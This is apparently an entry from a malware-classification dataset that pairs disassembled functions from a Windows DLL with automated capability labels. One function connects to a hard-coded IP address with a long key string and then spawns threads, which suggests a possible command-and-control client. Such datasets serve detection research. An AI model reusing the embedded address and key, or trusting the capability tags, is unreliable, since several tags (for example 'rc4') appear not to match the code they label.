joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000bd30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
movsxd rax, edx
mov rdi, rcx
dec rax
mov qword [r11 + 0x18], rbp
mov rbp, r9
xor r9d, r9d
lea rax, [rcx + rax*2]
mov qword [rsp + 8], rax
cmp rcx, rax
jae 0x18000bf59
mov qword [r11 + 0x20], rsi
lea rsi, [0x180000000]
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
mov qword [rsp], r8
test rbp, rbp
je 0x18000bd92
cmp r8, rbp
jae 0x18000bf36
movzx edx, byte [r8]
test dl, dl
je 0x18000bf36
mov eax, edx
mov rcx, rbp
shr rax, 3
movsx r9, byte [rax + rsi + 0x86b20]
xor eax, eax
test r9d, r9d
mov ebx, eax
sete bl
add ebx, r9d
test rbp, rbp
jne 0x18000bdc8
movsxd rcx, ebx
add rcx, r8
cmp r8, rcx
mov r14d, edx
cmovae r14d, eax
lea rax, [r8 + 1]
cmp rax, rcx
jae 0x18000bde1
movzx r13d, byte [rax]
jmp 0x18000bde4
xor r13b, r13b
lea rax, [r8 + 2]
cmp rax, rcx
jae 0x18000bdf3
movzx r12d, byte [rax]
jmp 0x18000bdf6
xor r12b, r12b
lea rax, [r8 + 3]
cmp rax, rcx
jae 0x18000be05
movzx r15d, byte [rax]
jmp 0x18000be08
xor r15b, r15b
lea r10, [r9*4]
movzx eax, r14b
mov esi, dword [r10 + rsi + 0x86b40]
and esi, eax
movzx r9d, r13b
shl esi, 6
mov eax, r9d
and eax, 0x3f
movzx edx, r12b
or esi, eax
movzx r11d, r15b
shl esi, 6
and r9d, 0xc0
mov eax, edx
and edx, 0xc0
and eax, 0x3f
or esi, eax
mov eax, r11d
shr r11d, 2
and eax, 0x3f
or r11d, edx
shl esi, 6
or esi, eax
shr r11d, 2
or r11d, r9d
lea rax, [0x180000000]
mov ecx, dword [r10 + rax + 0x86b70]
shr r11d, 2
shr esi, cl
mov ecx, 0x100
cmp esi, dword [r10 + rax + 0x86b58]
sbb eax, eax
xor r9d, r9d
and eax, 0x40
mov edx, r9d
or r11d, eax
mov eax, esi
and eax, 0xfffff800
cmp eax, 0xd800
mov eax, 0x80
cmove edx, eax
mov eax, r9d
or r11d, edx
cmp esi, 0xffff
cmova eax, ecx
lea rcx, [0x180000000]
mov ecx, dword [r10 + rcx + 0x86b88]
or r11d, eax
xor r11d, 0x2a
sar r11d, cl
test r11d, r11d
je 0x18000bf13
test r14b, r14b
mov eax, r9d
mov ecx, r9d
mov esi, 0xfffd
setne cl
test r15b, r15b
setne al
add ecx, eax
mov eax, r9d
test r12b, r12b
setne al
add ecx, eax
mov eax, r9d
test r13b, r13b
setne al
add ecx, eax
cmp ebx, ecx
cmovl ecx, ebx
movsxd r8, ecx
add r8, qword [rsp]
jmp 0x18000bf1d
movsxd rax, ebx
add r8, rax
test esi, esi
je 0x18000bf36
mov word [rdi], si
add rdi, 2
lea rsi, [0x180000000]
cmp rdi, qword [rsp + 8]
jb 0x18000bd80
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
mov word [rdi], r9w
test rax, rax
je 0x18000bf6f
mov qword [rax], r8
sub rdi, rcx
sar rdi, 1
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1800133e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r8, qword [0x1800a7200]
lea r10, [0x1800865d0]
movsxd r9, ecx
mov rbx, qword [r8 + 0x1c20]
add rbx, 0xc8
movsxd rdx, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, r9b
movzx ecx, dil
xor rcx, rax
shr edi, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor edi, dword [r10 + rcx*4]
movzx ecx, dil
xor rdx, rcx
shr edi, 8
shr eax, 0x10
xor edi, dword [r10 + rdx*4]
movzx ecx, dil
shr edi, 8
movzx edx, al
xor rdx, rcx
xor edi, dword [r10 + rdx*4]
movzx ecx, dil
shr edi, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
xor edi, dword [r10 + rdx*4]
not edi
cmp dword [r8 + 0x1c54], edi
jne 0x180013487
mov r8, r9
mov ecx, edi
xor r9d, r9d
lea edx, [r9 + 4]
call fcn.1800086e0
mov ecx, dword [rbx + 4]
mov r8d, dword [rbx]
cmp r8d, ecx
jne 0x1800134bb
inc r8d
test ecx, ecx
je 0x1800134a4
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x1800134a9
mov eax, 8
cmp eax, r8d
mov rcx, rbx
cmovg r8d, eax
mov edx, r8d
call fcn.18001a810
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180018f30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
mov rbx, qword [0x1800a7200]
cmp byte [rbx + 0x30c9], 0
jne 0x180019081
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x18001907a
lea rdx, [0x180086cd4]
mov qword [rsp + 0x38], rdi
call fcn.18000b4e0
mov rdi, rax
test rax, rax
je 0x180019075
mov qword [rsp + 0x40], r14
mov rcx, rax
mov qword [rsp + 0x30], rbp
call fcn.180064c0c
mov r14d, eax
cmp eax, 0xffffffff
je 0x180019063
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call fcn.180064650
test eax, eax
jne 0x180019063
mov rcx, rdi
call fcn.180064c0c
movsxd rbp, eax
cmp ebp, 0xffffffff
je 0x180019063
xor r8d, r8d
mov edx, r14d
mov rcx, rdi
call fcn.180064650
test eax, eax
jne 0x180019063
mov r14, rbp
cmp rbp, 0xffffffffffffffff
je 0x180019063
mov rax, qword [0x1800a7200]
test rax, rax
je 0x180018ff5
inc dword [rax + 0x3b0]
mov rdx, qword [0x1800a7210]
mov rcx, r14
call qword [section..data]
mov rbp, rax
test rax, rax
je 0x180019063
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, rax
call fcn.180064318
mov rcx, rdi
cmp rax, r14
je 0x18001902f
call fcn.180063c30
jmp 0x18001903f
call fcn.180063c30
mov rdx, r14
mov rcx, rbp
call fcn.18000d380
mov rax, qword [0x1800a7200]
test rax, rax
je 0x180019051
dec dword [rax + 0x3b0]
mov rdx, qword [0x1800a7210]
mov rcx, rbp
call qword [0x1800a6008]
jmp 0x18001906b
mov rcx, rdi
call fcn.180063c30
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov byte [rbx + 0x30c9], 1
movss xmm0, dword [rbx + 0x30cc]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x1800190c4
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x30cc], xmm0
jb 0x1800190c4
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1800190b3
call fcn.180016620
jmp 0x1800190ba
mov byte [rbx + 0x398], 1
mov dword [rbx + 0x30cc], 0
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
Function at 0x18002fb30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1800a7200]
mov rcx, qword [rax + 0x2068]
mov r10, qword [rax + 0x1c20]
movsxd rax, dword [rcx + 0x7c]
movups xmm0, xmmword [rcx + 0x174]
movss xmm4, dword [rcx + 0x174]
movss xmm3, dword [rcx + 0x178]
movss xmm2, dword [rcx + 0x17c]
movss xmm1, dword [rcx + 0x180]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x68
mov rax, qword [r10 + 0x268]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x208], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x268]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, byte [r9 + 0x57]
mov rdx, qword [r10 + 0x268]
mov rcx, qword [rcx + 0x1a8]
add rsp, 0x38
jmp 0x180023dc0

Function at 0x18002fc00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1800a7200]
mov rcx, qword [rax + 0x2068]
mov r9, qword [rax + 0x1c20]
movups xmm0, xmmword [r9 + 0x208]
movups xmmword [rcx + 0x174], xmm0
mov rax, qword [r9 + 0x268]
movups xmm0, xmmword [rcx + 0x154]
movss xmm4, dword [rcx + 0x154]
movss xmm3, dword [rcx + 0x158]
movss xmm2, dword [rcx + 0x15c]
movss xmm1, dword [rcx + 0x160]
movups xmmword [r9 + 0x208], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x268]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, byte [rcx + 0x1f7]
mov rcx, qword [rcx + 0x1a8]
mov rdx, qword [r9 + 0x268]
add rsp, 0x38
jmp 0x180023dc0
Function at 0x180032670
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov r8, rcx
mov ebx, edx
movzx ecx, byte [rcx]
test cl, cl
je 0x1800326b6
lea rax, [r8 + 1]
cmp cl, 0x25
jne 0x1800326a6
cmp byte [rax], cl
jne 0x1800326b6
cmp cl, cl
cmovne rax, r8
movzx ecx, byte [rax + 1]
lea r8, [rax + 1]
test cl, cl
jne 0x180032697
movzx edx, byte [r8]
cmp dl, 0x25
jne 0x180032819
cmp byte [r8 + 1], dl
je 0x180032819
lea r11, [rsp + 0x20]
mov r9, r8
lea eax, [rdx - 0x41]
movsx r10d, dl
cmp al, 0x19
ja 0x1800326f2
lea ecx, [r10 - 0x41]
mov eax, 1
shl eax, cl
test eax, 0x900
je 0x18003271a
sub dl, 0x61
cmp dl, 0x19
ja 0x18003270c
lea ecx, [r10 - 0x61]
mov eax, 1
shl eax, cl
test eax, 0x2480a80
je 0x18003271a
movzx edx, byte [r9 + 1]
inc r9
test dl, dl
jne 0x1800326d5
jmp 0x18003271d
inc r9
cmp r8, r9
jae 0x18003274f
movabs rdx, 0x800000000000009
nop dword [rax]
movzx ecx, byte [r8]
inc r8
lea eax, [rcx - 0x24]
cmp al, 0x3b
ja 0x180032744
bt rdx, rax
jb 0x18003274a
mov byte [r11], cl
inc r11
cmp r8, r9
jb 0x180032730
xorps xmm3, xmm3
mov byte [r11], 0
cvtss2sd xmm3, xmm2
lea r8, [rsp + 0x20]
mov edx, 0x40
lea rcx, [rsp + 0x40]
movq r9, xmm3
call fcn.18000b630
cmp byte [rsp + 0x40], 0x20
lea rcx, [rsp + 0x40]
jne 0x180032788
nop
inc rcx
cmp byte [rcx], 0x20
je 0x180032780
lea eax, [rbx - 8]
cmp eax, 1
jbe 0x180032808
movzx r9d, byte [rcx]
movzx r8d, r9b
cmp r9b, 0x2d
jne 0x1800327a3
movzx r8d, byte [rcx + 1]
lea rdx, [rcx + 1]
movzx eax, r8b
cmovne rdx, rcx
cmp r8b, 0x2b
jne 0x1800327b9
movzx eax, byte [rdx + 1]
lea rcx, [rdx + 1]
xorps xmm1, xmm1
cmovne rcx, rdx
cmp al, 0x30
jl 0x1800327f6
movss xmm2, dword [0x180086e6c]
cmp al, 0x39
ja 0x1800327f6
movzx eax, al
inc rcx
sub eax, 0x30
mulss xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
movaps xmm1, xmm0
cmp al, 0x30
jge 0x1800327d0
cmp r9b, 0x2d
jne 0x180032814
xorps xmm1, xmmword [0x180086ee0]
movaps xmm0, xmm1
jmp 0x18003281c
call fcn.18006ec34
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movaps xmm0, xmm1
jmp 0x18003281c
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180057710
add rsp, 0x90
pop rbx
ret
Function at 0x180032840
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov r8, rcx
mov ebx, edx
movzx ecx, byte [rcx]
test cl, cl
je 0x180032886
lea rax, [r8 + 1]
cmp cl, 0x25
jne 0x180032876
cmp byte [rax], cl
jne 0x180032886
cmp cl, cl
cmovne rax, r8
movzx ecx, byte [rax + 1]
lea r8, [rax + 1]
test cl, cl
jne 0x180032867
movzx edx, byte [r8]
cmp dl, 0x25
jne 0x1800329e3
cmp byte [r8 + 1], dl
je 0x1800329e3
lea r11, [rsp + 0x20]
mov r9, r8
lea eax, [rdx - 0x41]
movsx r10d, dl
cmp al, 0x19
ja 0x1800328c2
lea ecx, [r10 - 0x41]
mov eax, 1
shl eax, cl
test eax, 0x900
je 0x1800328ea
sub dl, 0x61
cmp dl, 0x19
ja 0x1800328dc
lea ecx, [r10 - 0x61]
mov eax, 1
shl eax, cl
test eax, 0x2480a80
je 0x1800328ea
movzx edx, byte [r9 + 1]
inc r9
test dl, dl
jne 0x1800328a5
jmp 0x1800328ed
inc r9
cmp r8, r9
jae 0x18003291f
movabs rdx, 0x800000000000009
nop dword [rax]
movzx ecx, byte [r8]
inc r8
lea eax, [rcx - 0x24]
cmp al, 0x3b
ja 0x180032914
bt rdx, rax
jb 0x18003291a
mov byte [r11], cl
inc r11
cmp r8, r9
jb 0x180032900
movaps xmm3, xmm2
mov byte [r11], 0
movq r9, xmm2
lea r8, [rsp + 0x20]
mov edx, 0x40
lea rcx, [rsp + 0x40]
call fcn.18000b630
cmp byte [rsp + 0x40], 0x20
lea rcx, [rsp + 0x40]
jne 0x180032958
nop dword [rax + rax]
inc rcx
cmp byte [rcx], 0x20
je 0x180032950
lea eax, [rbx - 8]
cmp eax, 1
jbe 0x1800329d6
movzx r9d, byte [rcx]
movzx r8d, r9b
cmp r9b, 0x2d
jne 0x180032973
movzx r8d, byte [rcx + 1]
lea rdx, [rcx + 1]
movzx eax, r8b
cmovne rdx, rcx
cmp r8b, 0x2b
jne 0x180032989
movzx eax, byte [rdx + 1]
lea rcx, [rdx + 1]
xorps xmm1, xmm1
cmovne rcx, rdx
cmp al, 0x30
jl 0x1800329c4
movsd xmm2, qword [0x18008b858]
cmp al, 0x39
ja 0x1800329c4
movzx eax, al
inc rcx
sub eax, 0x30
mulsd xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cmp al, 0x30
jge 0x1800329a0
cmp r9b, 0x2d
jne 0x1800329de
xorps xmm1, xmmword [0x18008b8f0]
movaps xmm0, xmm1
jmp 0x1800329e6
call fcn.18006ec34
movaps xmm1, xmm0
movaps xmm0, xmm1
jmp 0x1800329e6
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180057710
add rsp, 0x90
pop rbx
ret
Function at 0x18004aab0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rsi, r8
mov r14, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rsi + r8], r12b
jne 0x18004aaf0
mov rdx, rsi
lea rcx, [rsp + 0x20]
call fcn.180045d20
lea r8, [rsp + 0x20]
mov r15, qword [rsp + 0x20]
mov r13, qword [rsp + 0x38]
cmp r13, 0x10
cmovae r8, r15
movabs rcx, 0xcbf29ce484222325
mov rdx, r12
mov rbp, qword [rsp + 0x30]
test rbp, rbp
je 0x18004ab54
movabs r9, 0x100000001b3
nop
movzx eax, byte [rdx + r8]
xor rcx, rax
imul rcx, r9
inc rdx
cmp rdx, rbp
jb 0x18004ab40
and rcx, qword [0x1800a78d0]
add rcx, rcx
mov rax, qword [0x1800a78b8]
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, qword [0x1800a78a8]
je 0x18004abc1
mov r12, qword [rax + rcx*8]
nop word [rax + rax]
lea rdx, [rbx + 0x10]
cmp qword [rbx + 0x28], 0x10
jb 0x18004ab8f
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
cmp r13, 0x10
cmovae rcx, r15
cmp rbp, qword [rbx + 0x20]
jne 0x18004abae
mov r8, rbp
call fcn.18005fa40
test eax, eax
je 0x18004abb9
cmp rbx, r12
je 0x18004abbe
mov rbx, qword [rbx + 8]
jmp 0x18004ab80
xor r12d, r12d
jmp 0x18004abc4
xor r12d, r12d
mov rbx, r12
mov rax, qword [0x1800a78a8]
mov rbp, rax
test rbx, rbx
cmovne rbp, rbx
cmp r13, 0x10
jb 0x18004ac13
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x18004ac04
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ad0c
mov rcx, r15
call fcn.1800575f4
mov rax, qword [0x1800a78a8]
cmp rbp, rax
jne 0x18004acd7
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
nop dword [rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x18004ac30
mov r8, rdi
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.180045d20
nop
mov dword [rsp + 0x40], r12d
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x58], r12
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x80]
lea rcx, [0x1800a78a0]
call fcn.1800466a0
mov rcx, qword [rax]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rcx + 0x40], xmm1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18004acc5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004acc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ad06
call fcn.1800575f4
mov dword [r14], r12d
mov qword [r14 + 8], rsi
mov byte [r14 + 0x10], 0
mov qword [r14 + 0x18], r12
jmp 0x18004ace8
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [r14 + 0x10], xmm1
mov rax, r14
mov rbx, qword [rsp + 0xd8]
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18007227c
int3
call fcn.18007227c
int3
Function at 0x180057320
Capabilities:
Create thread
Read .ini file

Disassembly:
sub rsp, 0x548
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x530], rax
cmp edx, 1
jne 0x18005747d
xor edx, edx
mov qword [rsp + 0x540], rbx
mov r8d, 0x104
lea rcx, [rsp + 0x30]
call fcn.18005f6a0
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x3e8
call fcn.18005f6a0
mov dl, 1
mov byte [rsp + 0x20], 0
movzx ecx, dl
xor r9d, r9d
xor r8d, r8d
call fcn.1800592f0
lea rax, str.C:Program_Filesdesktop.ini
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea r8, [0x180086b9c]
mov dword [rsp + 0x20], 0x104
lea rdx, [0x18008df30]
lea rcx, str.NIEPANX
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
xor ebx, ebx
lea r9, [0x18008df40]
mov edx, 0x1a0a
mov qword [rsp + 0x20], rbx
lea r8, str.89467DECEA471132B9163277A10CE1E9A400AE8FD8B4BFF4692DD72D1E7D7FA2BD1744BADB762501C7
lea rcx, str.172.247.15.165
call fcn.180059340
test al, al
je 0x180057479
mov qword [rsp + 0x28], rbx
lea rdx, [rsp + 0x140]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.180059c60
test al, al
je 0x180057479
call fcn.18005a350
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x18004ce40]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x180055550]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180057710
add rsp, 0x548
ret
xor eax, eax
jmp 0x180057459
mov eax, 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180057710
add rsp, 0x548
ret
Function at 0x180059340
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x48
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
mov rsi, r9
xor ecx, ecx
mov r14, r8
movzx edi, dx
call fcn.180073fb0
mov rcx, rax
call fcn.180074058
movzx edx, di
mov rcx, rbx
call fcn.180059580
test al, al
je 0x180059561
cmp byte [0x1800a9ea8], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r15
jne 0x1800593b3
lea rcx, [0x1800b0160]
mov byte [0x1800a9ea8], 1
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [reloc.WS2_32.dll_closesocket], 3
jne 0x1800593ca
sar byte [0x1800a64b0], 2
mov byte [reloc.WS2_32.dll_closesocket], 0x30
lea rcx, [0x1800b0020]
sub rcx, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1800593e0
mov word [0x1800b0006], di
mov rbp, 0xffffffffffffffff
nop dword [rax]
inc rbp
cmp byte [r14 + rbp], 0
jne 0x180059400
movzx eax, word [r14]
lea rcx, [rsp + 0x20]
xor edx, edx
mov byte [rsp + 0x22], 0
mov word [rsp + 0x20], ax
lea r8d, [rdx + 0x10]
call fcn.18007463c
movzx ecx, word [r14 + 2]
xor edx, edx
mov word [rsp + 0x20], cx
mov edi, eax
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x10]
call fcn.18007463c
movzx ecx, word [r14 + rbp - 2]
xor edx, edx
mov word [rsp + 0x20], cx
mov ebx, eax
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x10]
call fcn.18007463c
xor eax, ebx
mov r8, rbp
movzx ecx, al
mov rdx, r14
movzx eax, dil
xor ecx, eax
mov dword [0x1800afdc4], ecx
lea ebx, [rcx + rcx]
mov r12d, ebx
lea rcx, [0x1800afcc0]
add r12, 2
sub r8, r12
call fcn.18005f000
xor edi, edi
mov r15d, ebx
mov ebx, edi
test r15, r15
je 0x1800594e0
sub r14, r12
lea r12, [0x1800afde0]
nop word [rax + rax]
lea rax, [r14 + rbx]
xor edx, edx
movzx ecx, word [rax + rbp]
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x10]
call fcn.18007463c
xor al, dil
add rbx, 2
mov byte [rdi + r12], al
inc rdi
cmp rbx, r15
jb 0x1800594b0
mov r15, qword [rsp + 0x30]
lea rcx, [0x1800afba0]
mov r12, qword [rsp + 0x38]
sub rcx, rsi
mov rbp, qword [rsp + 0x40]
nop dword [rax]
movzx eax, byte [rsi]
mov byte [rcx + rsi], al
lea rsi, [rsi + 1]
test al, al
jne 0x180059500
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x180059540
lea rdx, [0x1800aff00]
sub rdx, rax
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x180059530
mov al, 1
mov byte [0x1800b0004], al
mov edx, 8
movzx eax, byte [0x1800afb8c]
test al, al
mov ecx, eax
mov al, 1
cmove ecx, edx
mov byte [0x1800afb8c], cl
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180057710
add rsp, 0x48
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x180059580
Capabilities:
Convert ip address from string
Initialize winsock library

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x1d0
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
movzx edi, dx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180059616
mov qword [rsp + 0x1f0], rsi
movzx ecx, di
mov esi, 2
mov word [0x1800b0130], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [0x1800b0134]
mov rdx, rbx
mov ecx, esi
mov word [0x1800b0132], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, qword [rsp + 0x1f0]
mov qword [0x1800b0140], rax
cmp rax, 0xffffffffffffffff
je 0x180059616
mov al, 1
jmp 0x180059623
mov qword [0x1800b0140], 0
xor al, al
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180057710
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1d0
pop rdi
ret

Function at 0x1800596c0
Capabilities:
Get mac address on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x1800a6478]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, rcx
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, [rsp + 0x20]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov ecx, dword [rsp + 0x20]
call fcn.18006cc74
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xor r10d, r10d
xor edi, edi
cmp dword [rbx + 0x194], edi
jle 0x180059777
mov r8, rsi
lea r9, [rbx + 0x198]
lea r11d, [rdi + 0x37]
nop dword [rax + rax]
movzx edx, byte [r9]
lea r8, [r8 + 2]
mov ecx, edx
lea r9, [r9 + 1]
shr ecx, 4
and edx, 0xf
cmp ecx, 0xa
mov eax, 0x30
cmovae eax, r11d
add al, cl
mov byte [r8 - 2], al
cmp edx, 0xa
mov eax, 0x30
cmovae eax, r11d
add edi, 2
add al, dl
inc r10d
mov byte [r8 - 1], al
cmp r10d, dword [rbx + 0x194]
jl 0x180059730
movsxd rax, edi
mov rcx, rbx
test edi, edi
jle 0x180059808
mov qword [rsp + 0x48], rbp
mov byte [rax + rsi - 1], 0
call fcn.18006cc60
lea rcx, str.iphlpapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
test rax, rax
je 0x1800597fe
lea rdx, [0x18008e248]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x1800597f5
lea rdx, [rsp + 0x24]
mov dword [rsp + 0x24], 0
xor ecx, ecx
call rsi
cmp eax, 0x6f
jne 0x1800597f5
mov ecx, dword [rsp + 0x24]
call fcn.18006cc74
lea rdx, [rsp + 0x24]
mov rcx, rax
mov rbx, rax
call rsi
mov rcx, rbx
call fcn.18006cc60
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0x48]
lea eax, [rdi - 1]
jmp 0x180059812
call fcn.18006cc60
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180057710
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret